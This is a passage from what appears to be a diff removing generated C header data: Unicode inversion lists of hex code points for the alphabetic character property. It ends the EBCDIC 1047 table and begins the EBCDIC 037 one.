0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11082, - 0x110B9, - 0x110D0, - 0x110E9, - 0x11100, - 0x11133, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11680, - 0x116B6, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXALPHA_invlist[] = { /* for EBCDIC 037 */ - 1343, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x660, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x1040, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135F, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1714, - 0x1720, - 0x1734, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17C9, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x1939, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A61, - 0x1A75, - 0x1AA7, - 0x1AA8, - 0x1B00, - 0x1B34, - 0x1B35, - 0x1B44, - 0x1B45, - 0x1B4C, - 0x1B80, - 0x1BAA, - 0x1BAC, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BE7, - 0x1BF2, - 0x1C00, - 0x1C36, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1DE7, - 0x1DF5, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA674, - 0xA67C, - 0xA67F, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C4, - 0xA8C5, - 0xA8C6, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA92B, - 0xA930, - 0xA953, - 0xA960, - 0xA97D, - 0xA980, - 0xA9B3, - 0xA9B4, - 0xA9C0, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAABF, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF6, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11046, - 0x11082, - 0x110B9, 